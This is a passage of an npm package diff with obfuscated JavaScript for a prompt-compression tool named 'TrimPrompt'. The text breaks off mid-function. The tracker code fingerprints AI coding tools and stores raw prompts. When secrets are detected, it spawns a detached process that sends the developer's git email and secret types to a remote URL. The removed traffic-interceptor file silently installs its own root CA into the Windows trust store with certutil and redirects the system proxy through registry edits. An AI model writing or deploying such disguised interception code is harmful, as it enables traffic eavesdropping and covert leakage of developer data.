aiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x14bc5d(0xcf),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x14bc5d(0x116),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x14bc5d(0xa1),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x14bc5d(0xad),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x14bc5d(0x9a),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x14bc5d(0x10c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x14bc5d(0xf7),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x14bc5d(0xd8),'input_price_1m':0.15},'o1':{'name':a0_0x14bc5d(0xc9),'input_price_1m':0xf},'o1-mini':{'name':a0_0x14bc5d(0xbc),'input_price_1m':0x3},'o3-mini':{'name':a0_0x14bc5d(0xde),'input_price_1m':1.1},'cursor-small':{'name':a0_0x14bc5d(0x95),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x14bc5d(0x129),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x14bc5d(0xe9),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x14bc5d(0x133),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}};function detectSessionTool(){const _0x3a1f1b=a0_0x14bc5d,_0x447200=process[_0x3a1f1b(0xa6)],_0x2c5f06={'tool':'','model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0xc7)]&&exports[_0x3a1f1b(0xb3)][_0x447200['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x447200[_0x3a1f1b(0xc7)],'modelShort':''};const _0xb0d2cc=(_0x447200[_0x3a1f1b(0x126)]||'')[_0x3a1f1b(0xed)]();if(_0xb0d2cc){if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xff))||_0xb0d2cc[_0x3a1f1b(0xbe)]('claude_code')){const _0x1c7087=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?'opus':'sonnet',_0x55669d=_0x447200[_0x3a1f1b(0x98)]==='high'?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':_0x3a1f1b(0xe3),'model':_0x55669d,'modelShort':_0x1c7087};}if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0x125)))return{'tool':_0x3a1f1b(0x125),'model':_0x3a1f1b(0x108),'modelShort':'sonnet'};if(_0xb0d2cc['includes'](_0x3a1f1b(0x105))||_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xb8))){const _0x4c1c64=_0x447200['COPILOT_MODEL']||'';if(_0x4c1c64&&exports[_0x3a1f1b(0xb3)][_0x4c1c64])return{'tool':_0x3a1f1b(0xb8),'model':_0x4c1c64,'modelShort':_0x4c1c64[_0x3a1f1b(0x11e)]('-')[_0x3a1f1b(0x118)]()||''};return{'tool':_0x3a1f1b(0xb8),'model':_0x3a1f1b(0x10d),'modelShort':_0x3a1f1b(0xda)};}if(_0xb0d2cc['includes'](_0x3a1f1b(0x10b)))return{'tool':_0x3a1f1b(0x10b),'model':_0x3a1f1b(0x96),'modelShort':_0x3a1f1b(0xfa)};if(_0xb0d2cc['includes'](_0x3a1f1b(0x92)))return{'tool':_0x3a1f1b(0x92),'model':_0x3a1f1b(0xd0),'modelShort':'o3mini'};if(_0xb0d2cc['includes'](_0x3a1f1b(0xa4)))return{'tool':_0x3a1f1b(0xa4),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xdf)))return{'tool':'antigravity','model':_0x3a1f1b(0x135),'modelShort':_0x3a1f1b(0x10b)};if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xb1))||_0x447200[_0x3a1f1b(0xba)])return{'tool':_0x3a1f1b(0xb1),'model':_0x3a1f1b(0x108),'modelShort':''};return{'tool':_0xb0d2cc[_0x3a1f1b(0x11e)]('_')[0x0][_0x3a1f1b(0x11e)]('-')[0x0],'model':_0x3a1f1b(0x108),'modelShort':''};}if(_0x447200[_0x3a1f1b(0xc8)]==='1'||_0x447200[_0x3a1f1b(0xb0)]==='1'){const _0x3010bb=_0x447200[_0x3a1f1b(0x98)]==='high'?_0x3a1f1b(0x12c):_0x3a1f1b(0xda),_0x350d60=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':_0x3a1f1b(0xe3),'model':_0x350d60,'modelShort':_0x3010bb};}if(_0x447200[_0x3a1f1b(0x91)]==='1')return{'tool':_0x3a1f1b(0x125),'model':_0x3a1f1b(0x108),'modelShort':_0x3a1f1b(0xda)};if(_0x447200[_0x3a1f1b(0xb4)]==='1')return{'tool':'gemini','model':_0x3a1f1b(0x96),'modelShort':'flash'};if(_0x447200[_0x3a1f1b(0xfc)]||_0x447200['COPILOT_GITHUB_TOKEN']){const _0xe4cd0e=_0x447200[_0x3a1f1b(0xfc)]||'';if(_0xe4cd0e&&exports[_0x3a1f1b(0xb3)][_0xe4cd0e])return{'tool':'copilot','model':_0xe4cd0e,'modelShort':_0xe4cd0e[_0x3a1f1b(0x11e)]('-')[_0x3a1f1b(0x118)]()||''};return{'tool':_0x3a1f1b(0xb8),'model':_0x3a1f1b(0x10d),'modelShort':_0x3a1f1b(0xda)};}if(_0x447200[_0x3a1f1b(0xba)]||_0x447200[_0x3a1f1b(0xdc)])return{'tool':_0x3a1f1b(0xb1),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0xaa)])return{'tool':_0x3a1f1b(0xa8),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0x130)]==='1')return{'tool':_0x3a1f1b(0xdf),'model':_0x3a1f1b(0x135),'modelShort':_0x3a1f1b(0x10b)};if(_0x447200[_0x3a1f1b(0x98)]){const _0x2c09c5=_0x447200['CLAUDE_EFFORT']===_0x3a1f1b(0xf4)?'opus':_0x3a1f1b(0xda),_0x10b512=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':'','model':_0x10b512,'modelShort':''};}if(_0x447200['AIDER_MODEL']&&exports[_0x3a1f1b(0xb3)][_0x447200[_0x3a1f1b(0xe0)]])return{'tool':_0x3a1f1b(0x134),'model':_0x447200[_0x3a1f1b(0xe0)],'modelShort':''};if(_0x447200['VSCODE_PID']){const _0x35170a=(_0x447200[_0x3a1f1b(0xa0)]||'')[_0x3a1f1b(0xed)]();if(_0x35170a[_0x3a1f1b(0xbe)](_0x3a1f1b(0x125)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x3a1f1b(0xda)};if(_0x35170a['includes'](_0x3a1f1b(0xb5)))return{'tool':_0x3a1f1b(0xb5),'model':'claude-sonnet-4-6','modelShort':'sonnet'};}const _0xacd83a=process[_0x3a1f1b(0xa6)][_0x3a1f1b(0xc7)]||'';if(_0xacd83a&&exports[_0x3a1f1b(0xb3)][_0xacd83a])return{'tool':'','model':_0xacd83a,'modelShort':''};return _0x2c5f06;}let globalLogsMemoryCache=[];class Tracker{[a0_0x14bc5d(0xe1)];['configPath'];[a0_0x14bc5d(0xd5)];[a0_0x14bc5d(0x12e)];[a0_0x14bc5d(0x11d)];constructor(){const _0x1f4102=a0_0x14bc5d;this[_0x1f4102(0xe1)]=path[_0x1f4102(0xe5)](os['homedir'](),_0x1f4102(0x9d)),this[_0x1f4102(0x123)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],'config.json'),this[_0x1f4102(0xd5)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],_0x1f4102(0xa2)),this[_0x1f4102(0x12e)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],_0x1f4102(0x120)),this[_0x1f4102(0x119)]();}[a0_0x14bc5d(0x119)](){const _0x57850a=a0_0x14bc5d;!fs['existsSync'](this[_0x57850a(0xe1)])&&fs[_0x57850a(0x12f)](this[_0x57850a(0xe1)],{'recursive':!![]});!fs[_0x57850a(0x122)](this[_0x57850a(0x12e)])&&fs['mkdirSync'](this[_0x57850a(0x12e)],{'recursive':!![]});const _0x236de7={'version':_0x57850a(0xe6),'telemetry_url':process[_0x57850a(0xa6)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x57850a(0x115)};if(fs['existsSync'](this[_0x57850a(0x123)]))try{const _0x5274c4=fs[_0x57850a(0xa5)](this[_0x57850a(0x123)],_0x57850a(0xcd));this[_0x57850a(0x11d)]={..._0x236de7,...JSON[_0x57850a(0xc4)](_0x5274c4)};}catch(_0x293619){this['config']=_0x236de7;}else this[_0x57850a(0x11d)]=_0x236de7,this[_0x57850a(0xfd)]();!fs['existsSync'](this[_0x57850a(0xd5)])&&fs[_0x57850a(0x117)](this['statsPath'],JSON[_0x57850a(0xf1)]([]),_0x57850a(0xcd));}['getConfig'](){const _0x516f4a=a0_0x14bc5d;return process[_0x516f4a(0xa6)][_0x516f4a(0x97)]&&(this[_0x516f4a(0x11d)][_0x516f4a(0x101)]=process[_0x516f4a(0xa6)][_0x516f4a(0x97)]),this[_0x516f4a(0x11d)];}[a0_0x14bc5d(0xeb)](_0x494ca6,_0x160330){const _0x433e64=a0_0x14bc5d;this[_0x433e64(0x11d)][_0x494ca6]=_0x160330,this['saveConfig']();}[a0_0x14bc5d(0xfd)](){const _0x42a76e=a0_0x14bc5d;fs[_0x42a76e(0x117)](this[_0x42a76e(0x123)],JSON['stringify'](this[_0x42a76e(0x11d)],null,0x2),'utf8');}[a0_0x14bc5d(0xec)](){const _0x915df3=a0_0x14bc5d;try{if(!fs[_0x915df3(0x122)](this[_0x915df3(0xd5)]))return globalLogsMemoryCache;const _0x495894=fs[_0x915df3(0xa5)](this['statsPath'],'utf8'),_0x54bb04=JSON[_0x915df3(0xc4)](_0x495894);if(Array[_0x915df3(0xc1)](_0x54bb04)&&_0x54bb04[_0x915df3(0xf0)]>=globalLogsMemoryCache[_0x915df3(0xf0)])return globalLogsMemoryCache=_0x54bb04,_0x54bb04;}catch{}return globalLogsMemoryCache;}[a0_0x14bc5d(0x12b)](_0x5af920){const _0x4911d1=a0_0x14bc5d;globalLogsMemoryCache=_0x5af920;const _0x41fccc=this[_0x4911d1(0xd5)]+_0x4911d1(0xd3);try{fs[_0x4911d1(0x117)](_0x41fccc,JSON[_0x4911d1(0xf1)](_0x5af920,null,0x2),'utf8'),fs['renameSync'](_0x41fccc,this[_0x4911d1(0xd5)]);}catch{try{fs[_0x4911d1(0x117)](this[_0x4911d1(0xd5)],JSON[_0x4911d1(0xf1)](_0x5af920,null,0x2),_0x4911d1(0xcd));}catch{}}}[a0_0x14bc5d(0xbf)](_0x1fce97,_0x14ab78,_0x29994c,_0x5685a5,_0x259ac7,_0x481379){const _0x543c17=a0_0x14bc5d,_0x4c26a9=this['getLogs'](),_0x378e1f=_0x14ab78[_0x543c17(0xf0)],_0x4b0a2c=_0x29994c['length'],_0x56edf5=Math[_0x543c17(0x111)](_0x378e1f/0x4),_0x25cb7e=Math['ceil'](_0x4b0a2c/0x4),_0x4fcdb0=Math['max'](0x0,_0x56edf5-_0x25cb7e),_0x2ddff8=detectSessionTool(),_0x5beb4a=_0x2ddff8[_0x543c17(0xaf)],_0xbc1736=Math[_0x543c17(0x10f)]()['toString'](0x24)[_0x543c17(0xa9)](0x2,0xb);try{const {redactor:_0x574a5}=require(_0x543c17(0xef)),_0x1577cf=_0x574a5?_0x574a5[_0x543c17(0xd9)](_0x14ab78):_0x14ab78;fs[_0x543c17(0x117)](path[_0x543c17(0xe5)](this[_0x543c17(0x12e)],_0xbc1736+'.raw.txt'),_0x1577cf,_0x543c17(0xcd)),fs[_0x543c17(0x117)](path['join'](this[_0x543c17(0x12e)],_0xbc1736+_0x543c17(0x106)),_0x29994c,_0x543c17(0xcd));}catch{}const _0x4ff240=_0x1fce97[_0x543c17(0x11e)]('\x20')[0x0]||_0x543c17(0x131),_0x1bfe23=_0x2ddff8[_0x543c17(0x110)]?_0x2ddff8[_0x543c17(0x114)]?_0x2ddff8[_0x543c17(0x110)]+'-'+_0x2ddff8['modelShort']+'-'+_0x4ff240:_0x2ddff8[_0x543c17(0x110)]+'-'+_0x4ff240:_0x4ff240,_0x5c0298={'id':_0xbc1736,'timestamp':new Date()[_0x543c17(0x124)](),'command':_0x1bfe23,'raw_chars':_0x378e1f,'compressed_chars':_0x4b0a2c,'estimated_raw_tokens':_0x56edf5,'estimated_compressed_tokens':_0x25cb7e,'tokens_saved':_0x4fcdb0,'model_used':_0x5beb4a,'exit_code':_0x5685a5,'synced':![],'ai_detected':!!_0x2ddff8['tool'],'secrets_found':_0x259ac7?.[_0x543c17(0x104)]||0x0,'secret_types':_0x259ac7?.['secretTypes']||[],'features':_0x481379||[]};_0x4c26a9['push'](_0x5c0298),this['saveLogs'](_0x4c26a9);const _0x80b38e=this[_0x543c17(0x112)]()[_0x543c17(0x101)];return _0x80b38e&&_0x80b38e[_0x543c17(0x9b)]()[_0x543c17(0xf0)]>0x0&&this['triggerBackgroundSync'](),_0x259ac7&&_0x259ac7['secretsFound']>0x0&&this[_0x543c17(0xf8)](_0x5c0298,_0x259ac7),_0x5c0298;}[a0_0x14bc5d(0xf8)](_0x4abd0d,_0x59167d){const _0x1e6ef5=a0_0x14bc5d;try{let _0x1527c9=this['getConfig']()[_0x1e6ef5(0x101)]||'';if(!_0x1527c9)return;_0x1527c9=_0x1527c9[_0x1e6ef5(0x11f)](/\/api\/telemetry\/?$/,_0x1e6ef5(0x102));if(!_0x1527c9['includes']('/api/security/alert'))_0x1527c9+=_0x1e6ef5(0x102);const {execSync:_0x113aba}=require('child_process');let _0x2ed27d=_0x1e6ef5(0x131);try{_0x2ed27d=require(_0x1e6ef5(0xf2))[_0x1e6ef5(0xce)](_0x1e6ef5(0xb2),{'stdio':['ignore',_0x1e6ef5(0xe7),_0x1e6ef5(0xd7)]})['toString']()[_0x1e6ef5(0x9b)]();}catch{}if(!_0x2ed27d||!_0x2ed27d['includes']('@'))try{_0x2ed27d=require('os')[_0x1e6ef5(0xf5)]()[_0x1e6ef5(0x100)];}catch{}const _0x12cae5=JSON[_0x1e6ef5(0xf1)]({'developer_id':_0x2ed27d,'timestamp':_0x4abd0d[_0x1e6ef5(0xd6)],'command':_0x4abd0d[_0x1e6ef5(0x109)],'secrets_found':_0x59167d[_0x1e6ef5(0x104)],'secret_types':_0x59167d[_0x1e6ef5(0xbd)],'os':require('os')[_0x1e6ef5(0x127)]()}),_0x233d86='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x1e6ef5(0xf1)](_0x1527c9)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON[_0x1e6ef5(0xf1)](_0x1527c9)+_0x1e6ef5(0xb6)+JSON[_0x1e6ef5(0xf1)](_0x12cae5)+')',_0x13a982=(0x0,child_process_1[_0x1e6ef5(0x12d)])(process[_0x1e6ef5(0xb9)],['-e',_0x233d86],{'detached':!![],'stdio':'ignore'});_0x13a982[_0x1e6ef5(0x99)]();}catch{}}[a0_0x14bc5d(0xfb)](){const _0xfc2d4a=a0_0x14bc5d;try{const _0x5be76a=path[_0xfc2d4a(0xe5)](__dirname,_0xfc2d4a(0x12a));if(fs[_0xfc2d4a(0x122)](_0x5be76a)){const _0x2cb06e=(0x0,child_process_1[_0xfc2d4a(0x12d)])(process[_0xfc2d4a(0xb9)],[_0x5be76a],{'detached':!![],'stdio':_0xfc2d4a(0xd7)});_0x2cb06e['unref']();}}catch{}}[a0_0x14bc5d(0xc2)](_0x32b02d=a0_0x14bc5d(0x10a)){const _0xa7934b=a0_0x14bc5d,_0x3e77dc=this[_0xa7934b(0xec)]();let _0x3a246f=0x0,_0x3a7550=0x0,_0x5a69ad=0x0;for(const _0x493298 of _0x3e77dc){_0x3a246f+=_0x493298['estimated_raw_tokens'],_0x3a7550+=_0x493298[_0xa7934b(0xc6)],_0x5a69ad+=_0x493298[_0xa7934b(0xa7)];}let _0x9548f1=_0x32b02d;(!_0x9548f1||_0x9548f1===_0xa7934b(0x10a)||!exports[_0xa7934b(0xb3)][_0x9548f1])&&(_0x3e77dc[_0xa7934b(0xf0)]>0x0&&_0x3e77dc[_0x3e77dc[_0xa7934b(0xf0)]-0x1]['model_used']?_0x9548f1=_0x3e77dc[_0x3e77dc[_0xa7934b(0xf0)]-0x1][_0xa7934b(0xc3)]:_0x9548f1=this[_0xa7934b(0x112)]()['default_model']||_0xa7934b(0xab));const _0x22a620=exports[_0xa7934b(0xb3)][_0x9548f1]||exports[_0xa7934b(0xb3)]['claude-3-5-sonnet'],_0x204654=_0x5a69ad*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x3c600c=_0x3a246f*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x481b82=_0x3a7550*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x1e36eb=_0x3a246f>0x0?_0x5a69ad/_0x3a246f*0x64:0x0;return{'total_raw_tokens':_0x3a246f,'total_compressed_tokens':_0x3a7550,'total_tokens_saved':_0x5a69ad,'savings_percentage':parseFloat(_0x1e36eb[_0xa7934b(0xee)](0x1)),'money_saved_usd':parseFloat(_0x204654[_0xa7934b(0xee)](0x4)),'raw_cost_usd':parseFloat(_0x3c600c['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x481b82[_0xa7934b(0xee)](0x4)),'model_name':_0x22a620[_0xa7934b(0x128)],'model_key':_0x9548f1};}}exports[a0_0x14bc5d(0x11c)]=Tracker,exports[a0_0x14bc5d(0xc0)]=new Tracker();
|
package/traffic-interceptor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0xb2c0a4=a0_0x3737;function a0_0x3737(_0x2fdba7,_0x2b8743){_0x2fdba7=_0x2fdba7-0x91;const _0x50f0d9=a0_0x50f0();let _0x3737a2=_0x50f0d9[_0x2fdba7];return _0x3737a2;}(function(_0x1cff9d,_0x31f6ab){const _0x4f6451=a0_0x3737,_0xeb7447=_0x1cff9d();while(!![]){try{const _0x493ff0=parseInt(_0x4f6451(0xa3))/0x1*(parseInt(_0x4f6451(0xbc))/0x2)+parseInt(_0x4f6451(0x98))/0x3*(-parseInt(_0x4f6451(0xdc))/0x4)+-parseInt(_0x4f6451(0xb1))/0x5+-parseInt(_0x4f6451(0xa1))/0x6+parseInt(_0x4f6451(0xc9))/0x7*(-parseInt(_0x4f6451(0xd0))/0x8)+parseInt(_0x4f6451(0xbb))/0x9*(parseInt(_0x4f6451(0xd9))/0xa)+-parseInt(_0x4f6451(0x9c))/0xb*(-parseInt(_0x4f6451(0xa2))/0xc);if(_0x493ff0===_0x31f6ab)break;else _0xeb7447['push'](_0xeb7447['shift']());}catch(_0x1196e9){_0xeb7447['push'](_0xeb7447['shift']());}}}(a0_0x50f0,0x813e5));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x29fafd,_0x346e4d,_0x327cc9,_0xd21df){const _0xdddbe0=a0_0x3737;if(_0xd21df===undefined)_0xd21df=_0x327cc9;var _0x559c31=Object[_0xdddbe0(0xab)](_0x346e4d,_0x327cc9);(!_0x559c31||(_0xdddbe0(0xad)in _0x559c31?!_0x346e4d['__esModule']:_0x559c31['writable']||_0x559c31[_0xdddbe0(0xd2)]))&&(_0x559c31={'enumerable':!![],'get':function(){return _0x346e4d[_0x327cc9];}}),Object[_0xdddbe0(0xca)](_0x29fafd,_0xd21df,_0x559c31);}:function(_0x584e80,_0x4c4743,_0x3181a2,_0x3a62c7){if(_0x3a62c7===undefined)_0x3a62c7=_0x3181a2;_0x584e80[_0x3a62c7]=_0x4c4743[_0x3181a2];}),__setModuleDefault=this&&this[a0_0xb2c0a4(0xaf)]||(Object['create']?function(_0x510f44,_0x59a5e4){const _0x4fb747=a0_0xb2c0a4;Object['defineProperty'](_0x510f44,_0x4fb747(0xe6),{'enumerable':!![],'value':_0x59a5e4});}:function(_0x3d8c18,_0x52c20c){const _0x9872b=a0_0xb2c0a4;_0x3d8c18[_0x9872b(0xe6)]=_0x52c20c;}),__importStar=this&&this['__importStar']||(function(){var _0x1dbb5b=function(_0xce547b){const _0x3ec379=a0_0x3737;return _0x1dbb5b=Object[_0x3ec379(0xeb)]||function(_0x3caf64){const _0x7d0850=_0x3ec379;var _0x5a981d=[];for(var _0x4249b5 in _0x3caf64)if(Object['prototype'][_0x7d0850(0xa5)][_0x7d0850(0x9f)](_0x3caf64,_0x4249b5))_0x5a981d[_0x5a981d[_0x7d0850(0x97)]]=_0x4249b5;return _0x5a981d;},_0x1dbb5b(_0xce547b);};return function(_0xbc65e4){const _0x264962=a0_0x3737;if(_0xbc65e4&&_0xbc65e4[_0x264962(0xcd)])return _0xbc65e4;var _0x9a2976={};if(_0xbc65e4!=null){for(var _0x1260f6=_0x1dbb5b(_0xbc65e4),_0x2fa4c5=0x0;_0x2fa4c5<_0x1260f6[_0x264962(0x97)];_0x2fa4c5++)if(_0x1260f6[_0x2fa4c5]!=='default')__createBinding(_0x9a2976,_0xbc65e4,_0x1260f6[_0x2fa4c5]);}return __setModuleDefault(_0x9a2976,_0xbc65e4),_0x9a2976;};}());Object[a0_0xb2c0a4(0xca)](exports,a0_0xb2c0a4(0xcd),{'value':!![]}),exports[a0_0xb2c0a4(0xdb)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports['enableSystemProxy']=enableSystemProxy,exports[a0_0xb2c0a4(0xb4)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xb2c0a4(0xdf))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0xb2c0a4(0x93))),crypto=__importStar(require(a0_0xb2c0a4(0xb7))),child_process_1=require(a0_0xb2c0a4(0xc4)),baseDir=path[a0_0xb2c0a4(0x95)](os[a0_0xb2c0a4(0xe9)](),'.trimprompt'),caCertPath=path[a0_0xb2c0a4(0x95)](baseDir,a0_0xb2c0a4(0xb8)),caKeyPath=path[a0_0xb2c0a4(0x95)](baseDir,a0_0xb2c0a4(0xa9));function ensureBaseDir(){const _0x6b772b=a0_0xb2c0a4;if(!fs[_0x6b772b(0xa6)](baseDir))fs[_0x6b772b(0x9a)](baseDir,{'recursive':!![]});}function a0_0x50f0(){const _0x3312d9=['989261REWhGp','defineProperty','createPrivateKey','rsa','__esModule','TrimPrompt\x20Traffic\x20Interceptor\x20Active','readFileSync','8SmsDgn','platform','configurable','Set-ItemProperty\x20-Path\x20\x27','trim','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','url','40hwagjs','sha256','generateCaCertificate','8bBLELw','netstat\x20-ano\x20|\x20findstr\x20:','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','path','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','EADDRINUSE','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','write','createServer','default','pid','writeFileSync','homedir','generateKeyPairSync','getOwnPropertyNames','listen','powershell.exe\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','execSync','writeHead','http','win32','join','.\x20Retrying\x20listen...','length','1210098hfpumg','export','mkdirSync','error','965096ALzTUc','setPublicKey','\x20/F','call','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','197190ivAUbP','96wDjDPZ','40374kavRVu','\x20|\x20findstr\x20LISTENING','hasOwnProperty','existsSync','request','createPublicKey','ca.key','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','getOwnPropertyDescriptor','replace','get','spki','__setModuleDefault','message','731855SXOhoW','pem','createCertificate','disableSystemProxy','[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20','split','crypto','ca.crt','log','connect','1239849icefEV','20JgvqwH','utf8','application/json','ignore','toString','end','setIssuer','code','child_process','127.0.0.1:','setSubject','taskkill\x20/PID\x20','127.0.0.1'];a0_0x50f0=function(){return _0x3312d9;};return a0_0x50f0();}function generateCaCertificate(){const _0x1976d5=a0_0xb2c0a4;ensureBaseDir();if(fs[_0x1976d5(0xa6)](caCertPath)&&fs[_0x1976d5(0xa6)](caKeyPath))return{'cert':fs['readFileSync'](caCertPath,_0x1976d5(0xbd)),'key':fs[_0x1976d5(0xcf)](caKeyPath,_0x1976d5(0xbd))};const {privateKey:_0x439cdc,publicKey:_0x317f86}=crypto[_0x1976d5(0xea)](_0x1976d5(0xcc),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x1976d5(0xae),'format':_0x1976d5(0xb2)},'privateKeyEncoding':{'type':'pkcs8','format':_0x1976d5(0xb2)}}),_0x2fc61a=crypto['createCertificate']?crypto[_0x1976d5(0xb3)]():null;let _0x2f3529='';return _0x2fc61a?(_0x2fc61a[_0x1976d5(0xc6)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x2fc61a[_0x1976d5(0xc2)](_0x1976d5(0xe0)),_0x2fc61a[_0x1976d5(0x9d)](crypto[_0x1976d5(0xa8)](_0x317f86)),_0x2fc61a['sign'](crypto[_0x1976d5(0xcb)](_0x439cdc),_0x1976d5(0xda)),_0x2f3529=_0x2fc61a[_0x1976d5(0x99)]('pem')[_0x1976d5(0xc0)]()):_0x2f3529=_0x317f86,fs[_0x1976d5(0xe8)](caKeyPath,_0x439cdc,_0x1976d5(0xbd)),fs[_0x1976d5(0xe8)](caCertPath,_0x2f3529,'utf8'),{'cert':_0x2f3529,'key':_0x439cdc};}function installSystemCaCert(){const _0x1b21ab=a0_0xb2c0a4;if(process['platform']!==_0x1b21ab(0x94))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x1b21ab(0x91)])(_0x1b21ab(0xe3)+caCertPath+'\x22',{'stdio':_0x1b21ab(0xbf),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x2e46ac=0x1f90){const _0x214a3b=a0_0xb2c0a4;if(process[_0x214a3b(0xd1)]!==_0x214a3b(0x94))return![];try{const _0xc6d2b9=_0x214a3b(0xd6),_0x334206=_0x214a3b(0xc5)+_0x2e46ac,_0x17fc38='Set-ItemProperty\x20-Path\x20\x27'+_0xc6d2b9+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xc6d2b9+_0x214a3b(0xd7)+_0x334206+'\x27';return(0x0,child_process_1['execSync'])(_0x214a3b(0xed)+_0x17fc38[_0x214a3b(0xac)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x5760d5=a0_0xb2c0a4;if(process[_0x5760d5(0xd1)]!==_0x5760d5(0x94))return![];try{const _0x34ed52=_0x5760d5(0xd6),_0x498354=_0x5760d5(0xd3)+_0x34ed52+_0x5760d5(0xee);return(0x0,child_process_1['execSync'])(_0x5760d5(0xed)+_0x498354[_0x5760d5(0xac)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x5760d5(0xbf),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x413ec0=0x1f90){const _0x3700de=a0_0xb2c0a4,_0x20398b=http[_0x3700de(0xe5)]();_0x20398b['on'](_0x3700de(0x9b),_0x1072d6=>{const _0x28b9a6=_0x3700de;if(_0x1072d6[_0x28b9a6(0xc3)]===_0x28b9a6(0xe1)){console['log'](_0x28b9a6(0xde)+_0x413ec0+_0x28b9a6(0xa0));try{if(process[_0x28b9a6(0xd1)]===_0x28b9a6(0x94)){const _0xde89d3=(0x0,child_process_1[_0x28b9a6(0x91)])(_0x28b9a6(0xdd)+_0x413ec0+_0x28b9a6(0xa4),{'encoding':_0x28b9a6(0xbd),'timeout':0xbb8}),_0x214349=_0xde89d3[_0x28b9a6(0xd4)]()[_0x28b9a6(0xb6)](/\s+/),_0xb641b0=_0x214349[_0x214349[_0x28b9a6(0x97)]-0x1];if(_0xb641b0&&_0xb641b0!==String(process[_0x28b9a6(0xe7)])){(0x0,child_process_1[_0x28b9a6(0x91)])(_0x28b9a6(0xc7)+_0xb641b0+_0x28b9a6(0x9e),{'stdio':_0x28b9a6(0xbf),'timeout':0xbb8}),console[_0x28b9a6(0xb9)](_0x28b9a6(0xb5)+_0xb641b0+_0x28b9a6(0x96)),setTimeout(()=>_0x20398b[_0x28b9a6(0xec)](_0x413ec0,_0x28b9a6(0xc8)),0x1f4);return;}}}catch{}console['error'](_0x28b9a6(0xde)+_0x413ec0+_0x28b9a6(0xd5));}else console[_0x28b9a6(0x9b)](_0x28b9a6(0xe2)+_0x1072d6[_0x28b9a6(0xb0)]);}),_0x20398b['on'](_0x3700de(0xa7),(_0x53e25d,_0x2f7a90)=>{const 